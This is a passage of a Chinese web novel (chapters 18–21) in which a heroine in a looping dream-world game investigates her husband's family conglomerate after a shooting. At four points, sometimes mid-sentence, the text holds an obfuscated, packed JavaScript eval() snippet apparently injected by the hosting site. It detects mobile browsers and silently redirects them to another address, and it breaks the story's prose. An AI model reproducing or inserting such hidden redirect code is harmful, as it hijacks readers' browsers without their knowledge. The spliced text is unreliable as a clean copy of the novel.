她有一瞬间的失神,紧接着是滞后传来的枪声,和人群的尖叫一起炸开。 辛浚倒在她怀里,好重一人。 血腥味快速弥漫开来。 不、是、吧。 危险的是她啊,怎么死的是他? 辛浚此时还睁着眼,似乎只是有一点痛。 “你动作真慢。”他完成了这周目最后一句没情商的嘲讽。 “念念!” 陈清泉拨开人群,把她接住。 【第一次任务失败】 【二周目加载中——】 18.第三关(6) 事情不太对劲。 首先是辛浚的意识体血条惊人,被击中居然没有直接消散,还能再来一次。 就算他知道自己肯定能存活,按照正常的思路,关卡女主属于NPC,周目之间不继承记忆,辛浚根本没必要来那一下。 她又不会在真正意义上死亡,为她挡枪也加不了好感。 不过……这样能试探她是不是有记忆。 难道辛浚长脑子了? 修改器的声音打断了裴心念的思考。 (拯救意识体任务:使陈清泉社会性死亡。) (本次梦境关卡解析进度:84%,关键节点:0/1。) (关键节点辅助:查探一周目中辛浚的死因。) 裴心念听着新发布的关键节点任务,表情严肃,站在电梯里发呆。 轿厢门“叮”地一声打开,上一秒还躺在血泊里的辛浚重新出现在她面前。 没等她调整好状态装作初遇,对方大步闯入,逮着她就扑,吓得裴心念直往后缩。 “你做什么?”她无力地从结结实实的拥抱中伸出手扶墙,差点一口气没喘上来。 “别找他了,我带你去别的地方。” 辛浚沉浸在上一周目的死亡中,惊魂未定,按了“1”的按钮就要走。 不过此时电梯却没有任何反应,楼层键怎么也不亮。 裴心念难得有些紧张,祈祷不要是什么别的梦境的怪物跑到这里来了。 实在不行,那她也只能用水管自保,这倒霉两兄弟就自求多福吧。 辛浚把她按在怀中,自己的胸膛还在不断起伏,难以遏制的心跳在传递。 他应该不知道现在是怎么回事。 裴心念偏了偏头,即使把耳朵贴上去,也听不清楚心声。 【之前……难道是梦境……变异?】 【该死。】 不要想这么恐怖的事情好不好。 她不想再在岁月静好的恋爱关卡里遇到诡了。 裴心念咬咬牙,另一只耳朵听见皮鞋底踩在地上的声音,步频急促。 “念念?” 陈清泉握着中控设备,出现在门外。 好吧,电梯停运的元凶找到了。 “不是把人带上来吗,你现在在做什么?” 陈清泉大步上前,用了十足十的力气,把辛浚拉开。 “咚!” 他没有就此罢手,而是把弟弟往墙上掼。 光是听着声音都幻痛。 陈清泉浑身都在发颤,她看在眼里。 这么激动,肯定还有记忆。 他也回溯了周目。 毕竟是半个意识体,不是严格意义上的NPC,能回溯……也说得过去。 这下好了,三个人都带着记忆,这叫她后面还怎么打? 裴心念一想到之后要搜集陈家的丑闻,如果没有一命通关就必然暴露,实在是牙疼。 毁灭吧。 “有话好好说,不要动手。”她相当糟心,把处在崩溃边缘的两人拉开。 毕竟刚才目睹了一场枪.击案,又突然被传送到之前的时空,不能接受实属正常。 陈清泉将目光移到她身上,褪去了上一周目的脉脉含情,隐约有审视的意味。 裴心念努力装作无事发生。 “你们两个怎么突然发疯,又出什么事了?” 陈清泉缓了一口气。 两兄弟在暗潮涌动的沉默中各怀心思,或许都在想那枚子弹究竟是从何而来。 比起明知这里是塞塔梦境的辛浚,陈清泉受到的冲击更大,然而他居然不动声色。 除了方才的颤抖,以及与一周目不同的出场时间,裴心念找不到其他的破绽。 “他要带你走?”陈清泉放轻声音,低下头来问她。 “本来要去找你。我看是弟弟不耐烦我们的事,他只是想出去玩玩,你别怪他。” 裴心念简单解释了刚才的反常。 她说完,很有些委屈地环抱双臂,退开一步。 “我身体不舒服,晚上的宴会就不去了。” “那之前来找我——” 陈清泉蹙着眉,继续问。 “是他说有你出轨的证据。”裴心念叹了口气,“可是我相信你。” 陈清泉紧紧盯住她说话时的神情,良久才移开视线。 他对辛浚说:“把你的证据留下来。滚回去。” “凭什么?这是嫂子要我给她找的。”辛浚挑眉,没有要听话的意思。 “她想知道就该来问我,跟你有什么关系?” 裴心念在旁边听得差点翻白眼。 两人不打架了,现在改吵架。 怎么亲兄弟比不熟的同学还能吵啊! 她对辛浚摊开手,掌心向上:“拿来。” 僵持数秒,辛浚还是向她妥协了,将作为“证据”的相片放到她手中。 他耸肩,离开前不忘邀请她:“等下来找我!” ……啧。 本来还打算找他当代步工具,载她走访调查他们家的丑闻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16929117|191972||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呢。 这样挑衅,陈清泉等会儿能放她走吗? 裴心念忧心忡忡。 她就这样忧愁着,被陈清泉发颤的呼吸缠住。 初见时的办公室椅子好像也没这么软……啊? 裴心念瞪大双眼,不知何时已经到了初见的场景,只能看着上方的人。 陈清泉方才的冷静状态又碎了,像一层装饰用的糖壳。 现在的情绪比上一周目任何时候都要强烈。 “念念,念念……”他很恐慌地抱住她,就像溺水的人抓住最后的浮梁。 裴心念以为他下一步会开始质疑,大脑飞速运转,已经打了几个版本的腹稿。 结果他喃喃了半天,终于说出口的是: “对不起。” 有什么对不起她的? 让她想想。 “辛浚给的照片是真的?”裴心念痛心疾首。 陈清泉停住了。 显然他不是这个意思,或许只是在后怕当时没有及时拉住她。 但面对“没有记忆”的裴心念,似乎只有这个理由能说得通。 “……照片当然是真的。” “我只是和她们走在一起。“陈清泉低声解释,和上一次的逻辑差不多。 可是他把字句含在唇齿之间呢喃着,内容逐渐变得奇怪起来。 “就算没有发生什么,也是我的错。” “让念念心烦就是我的错,打我好不好?” ? 裴心念这下是真哑火了。 当时陈清泉说的明明是让她暴揍辛浚泄愤来着啊。 怎么正主还上赶着代替弟弟了。 她眼睁睁地看着陈清泉起身,从身后泛着金属光泽的保险柜中,拿出一箱整整齐齐的惩诫器具。 刀刃、鞭.子、绳索。 干什么干什么! 裴心念无声尖叫起来。 她还是有点人性的,可以算得上遵纪守法好公民,这种情况以前没遇见过啊! “我控制不好,你会痛的。”她委婉拒绝。 “没关系。”对方眼中的暗红烧得滚烫起来,整个人跪倒在地。 陈清泉膝行向前,眷恋地贴上她的小腿。 生死离别的刺激已经攥住了他的心,似乎只有这样才能感觉到安全。 好奇怪。 “好吧。”裴心念纠结了一会儿,弯下腰打量他,直视这张和现实中如出一辙的脸。 抛去道德不谈,打起来应该确实会很爽——他也有今天。 19.第三关(7) 裴心念揉了揉自己发酸的手,她很苦恼。 力的作用是相互的,打人也有反作用力。 何况扇那么多下,应该赔她点钱啊。 陈清泉去办公室自带的浴室洗漱了,留她一个人在这里。 刚死里逃生过就敢这样,对她还真是放心呢。 裴心念注意着冲洗的水声,开始在办公桌后面翻找起来。 一回生二回熟,这次的速度比最开始翻荀行办公室时更快。 可惜的是她没戴手套,但依旧肆无忌惮。 万一指纹被发现,其实也很好解释。 就说想看看有没有其他证据说明出轨嘛。 陈清泉的办公室没有计算机,所以她重点关照的是纸质的文件档案。 大部分是招标书、合同,没见到什么私相授受的信封之类。 她快速浏览一遍,把出现频率最高的合作方记住,转而去找保险箱里的东西。 箱门敞开着,没放钱也没放金条。 除了刚才的道具,倒是压着一整沓照片,上面盖着一本日记。 她按着一边边角,飞快翻过去。 照片的主角都是她。 背景很杂乱,菜场、郊外、临街店铺,都有。 看得出来照片拍摄时她的精神状态相当差,憔悴不堪,比现在消瘦许多,眼眶里蓄着一汪水,好像随时能哭出来。 这是多久之前的? 裴心念不太能确定,翻开日记来看。 “10月23日今天吃完午饭又吐了,下次要换一个配方。” …… “10月25日不爱吃蔬菜。” “10月26日靠太近会害怕,怎么办?” …… “11月8日踹我的时候不发抖了。” “11月9日她好像需要特别甜的,让人做的十几种小蛋糕都喜欢。要加蔬菜,多试几次。” 裴心念扯了扯嘴角,满眼的食谱,还有很诡异的运动训练。 简直是给她做康复规划来的。 她迫不及待要梳理时间线,放好东西就往浴室跑。 “我要回家休息!” 裴心念隔着水雾对里面的人喊道。 “……我找人送你回去。” 裴心念坐上加长豪车,看着外面黯淡的天色,身心俱疲。 不知道是不是受到她的心情影响,二周目的天都比一周目要阴沉一些。 现在,她有两个任务。 一个是找到并散布陈家的丑闻,一个是确认之前宴会上的凶手。 前者比较重要,后面的可以视情况完成。 裴心念习惯性地捏自己的下巴,思索起策略。 如果辛浚在这里,可能会坚持自己一贯的主张,非得给陈清泉安上一个情人不可。 但这种方式不够。 要掀翻陈清泉,需要社会影响极为恶劣的丑闻,一般来说得和他所拥有的企业直接挂钩。 鉴于整个盛天所拥有的人力物力财力,还得有一个或几个相同体量的集团,提供资金同时施压。 这就是先前裴心念对池家家宴感兴趣的原因。 那里按理来说会有很多潜在盟友。 有能力,忌惮又贪婪,是最好的合作品格。 不过陈清泉既然拥有了回溯记忆,情况就不可同日而语了。 他不一定会同意再去赴宴,哪怕是为了他自己的人身安全。 裴心念低头把玩着自己手心小巧的翻盖手机。 她还记得贺静远的联系方式。 经历了那么多惊险的瞬间,现在她依旧可以将那些无意义的数字组合复现,毫无障碍。 贺静远对盛天的敌意从何而来? 这可能是一个突破口。 下车之后,裴心念花了点时间熟悉陈宅的布局,和管家保姆等人打了一圈招呼。 然后她乔装改扮一番,去了附近的网吧。 哪怕辛浚此时此刻就在门口,都不一定能认出她来。 黑色的长发乱糟糟地绑了两边低低的麻花辫,发尾自然垂下,与叠戴的黑色吊坠融为一体,再加上印着骷髅的吊带,很摇滚。 时间还早,顾客并不是很多。 她预备在这里和贺静远通话。 裴心念选了偏里一些的位置,把纸按在网吧的桌子上,圈圈点点,整理自己从各个地方搜集来的信息,来源包括但不限于陈家下人的回答、新闻媒体、辛浚的心声。 等写得差不多了,她才拨通电话。 一长串“嘟嘟”声之后,贺静远在另一头按下了接听。 “咳咳咳——喂?” 真是实诚人,居然给她真实的号码。 裴心念微微笑了起来,她本来都准备自己去海沟街道堵人呢。 贺静远那边的背景音十分嘈杂,裴心念努力辨认一番,只听到有挪动桌子的声响。 “你好,是贺静远同学吗?” “嗯我是,请问你是?”贺静远压低声音,颇有些疑惑。 他好像不认识对面的人,却又有种莫名的熟悉感,教他不由自主地想要亲近。 “我被盛天逼得走投无路了,你能帮我吗?” 沉默。 裴心念根据他的只言片语敲定了自己求助时的人设,也是一个被威胁的可怜人。 至于怎么威胁的,她暂时只能推断出个大概。 盛天集团属于陈家的家族企业,总部设在K市,房产起家。 比起其他K市财团,它的特点是涉猎慈善领域比例极大,开办福利院、贫民学校、大范围设立奖学金、投建教学设备,这是陈清泉上位之后才有的倾向。 贺静远看起来还是学生,在校园内受到影响的可能性更高一些。 “你怎么会知道我的联系方式?”默了一阵,贺静远反问道。 “我们以前见过的,只是你不记得我。” “不会吧……”贺静远喃喃。 声音这么耳熟,如果见过,应该印象深刻才对啊。 “具体的事我想先保密,反正我们有共同的目的,可以一起行动。” “我马上要去走访盛天名下的机构,你跟我一起吗?” “不说具体的事,我怎么相信你?”贺静远下意识皱眉,“万一你也是盛天的人呢。” 哎呀,还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16929118|191972||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 真叫他说对了。 不仅如此,还是一个户口本上的人,可惜这一周目的他不知道。 裴心念默默想,面不改色。 “盛天哪里有空一个一个派人整。你不跟我走,那我就一个人去了。” “等等。”贺静远似乎是不忍心,“你一个女孩子单独行动,不安全。” 好善良的人,上哪里找这么热心肠的队友啊。 贺静远就这样被她策反成功了,裴心念一聊之下,才知道他已经是在实习的小记者。 “你们现在主要报道什么方向的内容?” “偶尔做一些企业家的慈善事迹播报而已。” 那很专业对口了!裴心念眼前一亮。 “你什么时候有时间?” “今晚就有采访的任务,九点钟在新城路93号,你可以来找我。” 裴心念高兴地满载而归,结果一到家门口就被堵住了。 “你——” 【怎么……搞成这样子。】 裴心念没来得及抬头,听到辛浚的心声,松了口气。 比陈清泉好对付一点。 “你什么你?”她仰起头,理直气壮地反问。 辛浚盯着她的新行头发愣,似乎忘记了自己本来要说点什么。 “你,你刚才去哪里了?” “我回自己家了不行吗。”裴心念随口胡说,要绕开他。 辛浚一把揪住了她的辫子尾巴。 “喂!”她很不满地喊了一声,对丝毫不提供解析进度的梦主很不耐烦。 “你家里?” 辛浚的语气变得很小心翼翼,似乎怕碰碎了什么。 裴心念察觉到他话语中的犹豫,到底停下了脚步。 “不要太难过了……”辛浚安慰起人来很笨拙,而裴心念此时脑海中只有问号。 坏小子转性了,怎么开始如此真情实感地关心她了。 虽然也不知道在关心些什么。 会和陈清泉办公室里的那些照片有关系吗? “我没事,难道你希望我有事?” “不是,如果你想家里人了,我可以陪你去公墓看看。” 公墓?为什么要去公墓看家人。 裴心念咽了咽口水,好像有更多的剧情内容尚待探索。 “那我现在就要去。” “现在公墓应该关门了。” “那还说陪我。”裴心念瞪他一眼。 她刚刚突然想到,这个时代的晚上可能找不到代步工具——当然,要把陈清泉所能提供的私家车排除在外。 她得在晚上九点赶到贺静远那里,还得全须全尾地回来,似乎有点难度。 “陪我去兜风吧。”裴心念抬抬下巴,准许对方安慰自己。 于是她就这样再次坐上了这辆造型酷炫的机车后座。 在夜黑风高的夜晚,在宴会上他们牵手跳舞的时间。 辛浚偏过头等她戴好头盔,专注地看她动作。 “要是陈清泉现在回来,你还跟我走吗?” “当然走,还得让你快点。”裴心念搂上他的腰,没看到前面的人忍不住上扬的唇角。 20.第三关(8) 夜风比下午的江风要冷,她紧紧抱着辛浚,试图抵御扑面而来的凉意。 “你要衣服吗?”辛浚在风里问她。 “不要,你好好看路!” 她和辛浚早早到了约定的地点。 新城路93号是一间很小的店面,夹在一间五金店和一间洗衣店之间,店门还上着锁。 时间尚早,贺静远可能在从学校赶来的路上。 路上人流并不多,裴心念与辛浚相对无言。 他似乎很怕她有什么不高兴,低下头来查看裴心念的表情。 “我都要忘记家人的样子了。”裴心念吸了吸鼻子。 既然说要去公墓,那就是家人去世的意思吧。 辛浚拍了拍她脑袋上笨重的头盔,一言不发。 他真的不会安慰人。 裴心念撇撇嘴,换做郁向晚就不会这样。 她比较好奇的是自己的家庭情况与家人逝世的原因。 听辛浚的话语中的小心翼翼,可能是突发的意外。 怎么问呢? “我嫁给你哥之前,你对我是什么印象?”裴心念抿了抿唇,小声试探。 转移注意,让他重点关注她和陈清泉的婚姻。 “我?”辛浚被她突如其来的问题问住了,呆了一瞬。 现在紧张自己身份暴露的不是裴心念,而是也刚刚才这歌关卡几天的辛浚。 “你和陈清泉是闪婚,之前我没见过你。”他有些别扭。 “那你怎么还关心我家人的事?” 辛浚更心虚了。 他的回答有些磕绊,明显是边回答边思考,像个大漏勺一样口不择言:“陈清泉不说,我当然要调查一下……看看你父亲车祸去世之后,你怎么被他骗过来的。” 车祸? 裴心念默默记下了他抖落出来的信息,并没有在意对方的不安。 “那个,抱歉啊,我不是故意跟你说这些的。”辛浚很是懊恼。 裴心念配合地垂下眼帘,不出声了。 从辛浚的角度来看,就是她小小一团,难过得什么也说不出来。 他真是该死。 “你回去吧。”裴心念轻轻道,她不是很想让辛浚看到接下来的行动。 至于怎么能让这位骑士随叫随到,她还是很有心得的。 “你一个人晚上在外面多危险。”辛浚很不赞同,说的话和贺静远对裴心念的担忧如出一辙。 搞得好像她在这里的数值比他们低一样。 她有水管,他们有吗? 真的打起来,谁先掉完血条还要另说呢。 裴心念不回答他,辛浚有些着急,双手把她一直埋着的脸捧起来。 没有哭。 看起来好像很不耐烦的样子。 他的手僵住,不知道该往哪里放。 微凉的晚风吹过,裴心念嗅到了空气中的香气。 她伸出手,戳了戳不知所措的辛浚。 “这是什么味道?”她很好奇。 “机油味……?”辛浚犹豫道。 明明是章鱼小丸子,没品的人。 她撺掇起他,把辛浚拱到旁边的小摊位置上。 说来也是缘分,两人每次一起出来,都是在逛集市。 这次是夜市。 裴心念弯起眼睛,在一旁安安静静地等着辛浚和摊主说明要几份、要什么调料。 辛浚对这些垃圾食品感触不是很深,毕竟是小少爷,还是星际时代的小少爷,哪里看得上路边的零食。 不过他还是很认真地咨询了裴心念的意见,然后给两人都点了番茄酱的。 裴心念一开始站得离他有点远,被不太放心的辛浚拉到自己身旁。 接触不良的街灯灯泡一闪一闪,拉长了两条似乎依偎着的影子。 “还要其他——”辛浚话音未落,从遥远的天际线边传来一阵地动山摇的喊声,不知道的还以为是末世降临了。 “城管来了!!” 摊贩们的喊声一浪传递一浪,几乎在转眼之间,就顺着波浪把两人的章鱼小丸子也推走了。 “喂!” 于是辛浚拉着裴心念,开始跟在摊车后面追。 这次辛浚连自己的宝贝机车也顾不上了,可惜还是没能比得过摊主修炼多年的功力。 “呼呼——” 裴心念弯腰撑着自己的膝盖,和旁边龇牙咧嘴的辛浚面面相觑。 两个人对上目光。 辛浚突然哈哈笑起来,手指按住她的腮边,刮下来一抹黑漆漆的炭色。 裴心念有点郁闷,谁家烧烤摊开到她脸上来了。 “现在怎么办?”辛浚终于笑够了,反应过来,钱是给了,但丸子还没吃上。 “等下就回来了吧。”裴心念也不太确定。 她只是听说,旧时代的小摊摊主会悄悄返回原地,把所有上一次制作的菜品原封送回,像某种神秘的交接仪式。 ……就是有时候会漏掉一些调料。 忙中出错嘛,可以理解。 裴心念端着自己没有加番茄酱的番茄章鱼小丸子 ,没动手。 她眼巴巴地望着辛浚那一份。 “给你?”他扬了扬手中的小纸盒,得意道。 有什么好得意的,刚刚就是他随手分的,要怪也怪他! 裴心念不说话。 “笑一下就给你。”辛浚把手中的盒子递出去,停在空中不动。 在他眼里,裴心念从刚才出发开始就不开心,应该还是被伤心的回忆困扰。 实际上她只是在忧心自己的任务到底应该怎么完成。 “我不吃了。”裴心念不领他的情,把手中的一份也塞给辛浚,自己转过身去,背对着他。 “真的不吃了?”辛浚转到她面前来,像听不懂人话的狗,不依不饶。 裴心念瞥他一眼,“你给我笑一个。” 辛浚不明所以,但是打算照她的话做。 结果嘴角咧到一半,对面的女孩突然凑近,一左一右两根手指点在他的唇边,用了一点力气往上提。 辛浚暂时丧失了自主思考的能力,手里的纸盒子都差点忘了拿稳。 “好吧,那我就勉为其难地吃这一盒了。” 裴心念施施然地拿走他手中那份有酱料的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16936694|191972||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小丸子。 等啊等啊,等到时间接近九点,辛浚还是没有任何离开的意思。 裴心念于是打发他去把纸盒扔进垃圾箱,并警告他不许再跟着自己。 这警告对有手有脚的辛浚来说,当然是形同虚设。 她主要的目的是让他再警觉些,不要傻傻地以为她们只是背着陈清泉出来偷.情。 毕竟是梦主,他的任务是攻略她,不能让她死掉。 在保护她的人身安全这一方面,辛浚还是比其他任何人都靠得住的。 谁知道接下来面对的会是什么呢? 裴心念站在93号虚掩着的店面门前,看着隐约的灯光从里边漏出来。 里面的人已经到了,但并没有联系她。 她在心里自娱自乐地推想着,或许此时,世界上有一个瞄准镜里,正是她的写真。 像上周目那样? 裴心念很讨厌痛感,再短暂的痛也是痛。 她眼角余光瞥了一眼街角的身影,辛浚在那里。 她上前敲了敲门。 屋里的灯光抖了抖。 很快,门开了一个小缝,有人伸手把她拽了进去。 门外的辛浚估计要发疯了,但这不是她首要在意的事。 “贺同学?” 贺静远很是抱歉地放开她,犹豫着后退了一步。 “你真的来了?” 裴心念没回答他,她的注意力被贺静远身后的白板吸引了。 说是白板,其实上面贴满了东西。 有从报纸上剪裁下来的片段,有放大冲洗的照片,有分析整理的思路图。 她的目光落在一张新闻配图上。 “旧城路车祸现场大火”。 “你怀疑这些都跟盛天有关?” 她盯着标题上的“车祸”两个字,问贺静远。 “基本上都是确定有关的,不是怀疑。” “你今天没有采访任务。”裴心念在他起疑之前收回视线,直视这张熟悉的脸。 “你骗了我,为什么?” 贺静远被她逼得后退了半步。 “我只是不想吓到你,也不确定是不是恶作剧。” 话音未落,店门被捶得震天响。 裴心念好笑地拨了拨桌面上的报刊资料,替贺静远把板子翻了个面。 她接下来的执行计划已经基本成型了。 面对老熟人,哪里有什么好被吓到的? 在场只有一个人受到了惊吓,是门外的辛浚。 “想保密的话,你得跟我演一场戏了。” “演什么?” “演情人呀。”裴心念腼腆地笑,看起来温良得很。 “我是有夫之妇,外面是我的小叔。不演情人,要怎么解释我半夜偷偷来见你呢?” 贺静远瞪大双眼,她说的每一个字都让他比上一秒更加无所适从。 “我,我……” 刚刚还十分专业的人,此时倒真像被捉奸在场,局促不已。 “不要这么当真嘛。”裴心念牵起他的手,安慰道。 “帮我一下,他不会太为难你的。” 21.第三关(9) 裴心念拉着贺静远,从门缝里望出去。 辛浚暂时停了敲门的动静,转身准备去机车的后备箱里拿点什么。 他不会随身带锤子吧! 为了不让人家的店面惨遭横祸,她趁着门还没打开,急忙朝外喊:“辛浚!” 背对着她的身影停了下来,折返到跟前。 “你能听见吗,有没有事?”辛浚急得顾不上留出安全距离,他害怕裴心念像上次一样出现危险。 上次宴会,他就挡在她面前,可现在裴心念并不在他可以触碰到的位置。 “能听见。我没事,你不要乱来呀。” 裴心念尽量让自己的声音更大些,双手用力,尝试扳开大门的锁。 旁边贺静远默默地看着她动作,攥紧双拳尝试进入角色。 “这就是你家里的小辈?” 故作轻松的语气。 “谁?”辛浚就差踹开门了。 “别着急。”裴心念从开了的门中伸出一只手,在黑暗中摸索,最后冷不防摸到一块硬邦邦的肌肉。 “你看,我没事的。”裴心念的脑袋跟着从紧锁的门后钻出来。 “别回去跟你哥说好吗?”她终于出现,把辛浚拉到旁边,和他说悄悄话。 “什么意思?”他梗着脖子,努力让自己不被打在皮肤上的热气干扰。 “我没有危险,你别担心了。” 裴心念把手一横,交叉在胸前,犹豫着解释:“他既然能找人消遣,我也可以。” 辛浚拧紧眉头,不敢置信地看着她。 “什么?“ “就算要找也……” 也应该先考虑他吧? “是谁?” 他反应过来,气冲冲地想要把门后的人给扒拉到阳光下,看看究竟是谁捷足先登。 “你别看了,这是我的事。”裴心念也皱起脸,声音里带了怒气。 “要是你敢再过来,我就告诉陈清泉,你尾随我。” 她扬了扬自己刚从贺静远的工作区顺来的相机。 黑暗里看不清楚,操作也麻烦。 她硬生生靠着修改器的提醒,录了最后一句话,把辛浚的声线和身影录了进去。 毕竟他缠着嫂嫂也是事实。 辛浚败下阵来。 他仔细看了看裴心念,身上手上没有伤,还挺有劲儿的。 应该没有受伤。 “那我在外面等你。”他纠结了半天,居然得出了这么一个结论。 裴心念只觉得震撼。 她还以为此人会和她扯皮,要么就是愤然离去。 怎么还有如此窝囊的选项? “你等什么等?”她几乎怀疑现在揍他一拳,对方都能说等下带她去练一练。 两兄弟都是思维不太正常的变.态。 “等着送你回去。”辛浚别过脸去,因为二周目心声模糊的原因,听不清他现在究竟是什么感受。 “你愿意在这里吹冷风,那就吹吧。” 裴心念扬起下巴,从他身旁挤了回去。 这短短两步,她整个人都是紧绷的,把水管调到了最趁手的道具栏,生怕辛浚突然反悔,要冲进去把贺静远揪出来。 然而他一动没有动,真的遵守刚才的约定,目送她回去。 裴心念似乎有种抛弃宠物的错觉。 她把这怪异的想法压了下去,“嘭”地一声关上了门。 “好了?”贺静远全程连镜都没出,只念了一句台词,目前还在状态外。 “这个你处理一下。”裴心念把手中的相机抛给他。 贺静远接住,亦步亦趋地跟在她身后。 考虑了半天,他才问:“他骚扰你了吗?” 裴心念正在读那则车祸新闻,闻言把眼睛从密密麻麻的文字上挪开,定定地注视这张尚带青涩的面孔。 ……上次在楼道里没仔细看,贺静远这会儿似乎比一周目的年龄小。 就是更苦大仇深了些,眉宇间有散不去的郁气。 “算是吧。”裴心念苦笑了一下,“可是我也没办法,只能忍着了。” “为什么,你丈夫不管这事吗?” 贺静远眉间的沟壑更深,似乎为她打抱不平。 正义感和学生气地写在他脸上,明明现在是他的秘密基地被人发现,结果还在紧张她的事情。 “我等下和你解释。”裴心念抿了抿唇,指尖停留在观摩许久的新闻上。 “这场车祸,你还有其他信息吗?” 贺静远叹了一口气,把自己手中的相机放下,蹲下去开地上的暗格。 裴心念眼睁睁地看着他从严丝合缝的地砖里搬出一整箱证据,咽了咽口水。 这个关卡的NPC都这么喜欢藏东西吗。 贺静远把一份有些模糊的化验单递给她,又拿出一张冲洗得发黑的相片。 化验单是死亡证明,相片上是一处公墓的墓碑。 “死因是……头颈部贯通性枪击伤?”裴心念小声读出来。 这听起来可与车祸没多少关系,倒像是上周目的辛浚死亡报告上会有的内容。 “这是当时旧城路车祸中,司机的死亡报告。” 贺静远把另一张类似的化验单递给她。 “车里坐着的是盛天现在当家人的二叔。他的死因是吸入过多烟雾。” 火起之后被浓烟呛死的。 按理说在车里的人没有其他伤势,总是能开车门逃跑的呀。 也许有人策划了针对车中人的谋杀。先锁死汽车的门窗,然后击杀司机,最后才引起的车祸和火灾。 这是有多大的仇? “看这个。”贺静远指了指她手中的另一张相片,墓碑上的痕迹不太清晰,有明显的晕影,应该是偷拍的结果。 写姓氏的地方有个勉强能被辨认出来的“裴”。 怎么,其他平行世界辛浚没给她挡住枪,所以她挂掉了? 裴心念挑眉,等着贺静远继续给她解说。 “这是司机的坟。” 裴心念不说话。 所有的逻辑不通之处都连在一起了。 辛浚对她小心翼翼的态度,陈清泉收藏的照片上她如何悲痛欲绝,以及为什么她会是一个突然出现在豪门的妻子。 她不会就是是这场人祸的幸存者吧。 当然还有一些逻辑链上的东西尚待证实,但裴心念等不及用这新到手的推论为自己谋取一些东西了。 她的眼睫垂下去,握着相片的手开始难以自控地发抖。 贺静远半天没等到她的回答,有些奇怪,弯下腰去观察她的情况。 她的双唇失去了血色,张张合合,欲言又止。 “怎么了?”贺静远紧张地握住她的肩头,不知为什么脑海里想到的是她可能有低血糖,“你要吃点东西吗?” 裴心念动情的演绎顿了顿。 她刚吃过章鱼小丸子,现在还饱着。 “我没事。”她推开贺静远的手,在半步之外站定。 “我姓裴。”她扬起脸,一瞬不瞬地注视着对面的人,整张脸都苍白得可怕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16938584|191972||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “你知道陈清泉后来结婚了吗?” “我是他的妻子。” 裴心念靠近他一步,“也是这个司机的女儿。” 贺静远被她的话镇住,半晌没有发出一个音节。 “现在你满意了吧,这是我的秘密。” “抱歉,我不知道……”贺静远受到的冲击太大,只知道扶着她单薄的背,语无伦次。 “现在你能把我当作可信的盟友了吗?” 这就是她想要换得的东西,更多的信任和接下来要套的信息。 “你也想要报复他?”贺静远稳了稳自己的气息,磕磕绊绊地问。 眼前的的女孩几乎快要变得透明,摇摇欲坠,仿佛下一秒就会碎掉。 “当然。”裴心念深深地吸了一口气,然后问他,“你能告诉我,你姐姐发生了什么事吗?” “……她现在还在医院里。” 怪不得当时她说自己来找贺静远的姐姐,他的反应会是那样。 “别担心,我不会问她具体在哪里的。” 裴心念善解人意地笑笑,“我只是要确认我们在一条船上。” 都有想要把盛天撞沉的意愿。 “那我跟你讲讲其他的证据吧。”贺静远收回手,把方才的白板扶正。 他把桌子上的杂乱报刊归到一边,给她腾出一块干净的地方,可以坐下。 裴心念就这样坐在桌上,听贺静远讲这些年来搜得的证据。 除了陈二叔的车祸一案之外,盛天表面上经营的福利院和学校都存在相当严重的克扣,尤其是招标和采办。 贺静远的姐姐贺静微,是在媒体组织的颁奖典礼之后,路过了校内一处没有施工标志的危楼,被倒翻的脚手架砸伤入院的。 剩下的内容都是些零零散散的企业交际留影,单看表面,并没有什么问题。 毕竟贺静远只是个刚开始干实习的小记者,不至于接触到太多阴私,要不是姐姐不幸受伤,估计都不会去了解盛天背后的事。 但盛天应该还有其他把柄,关于如何躲过这些过错的盘查。 “他们没有给你赔偿吗?”裴心念问,食指在线与线的连接处轻点。 “明面上没有,私下里用老师筹款名义给了一些,不然连住院都做不到。”贺静远嘲讽般笑了笑,“还有你的那条裙子,陈清泉当时恩准我们不用还了。” 听起来简直是K市一手遮天的土皇帝。 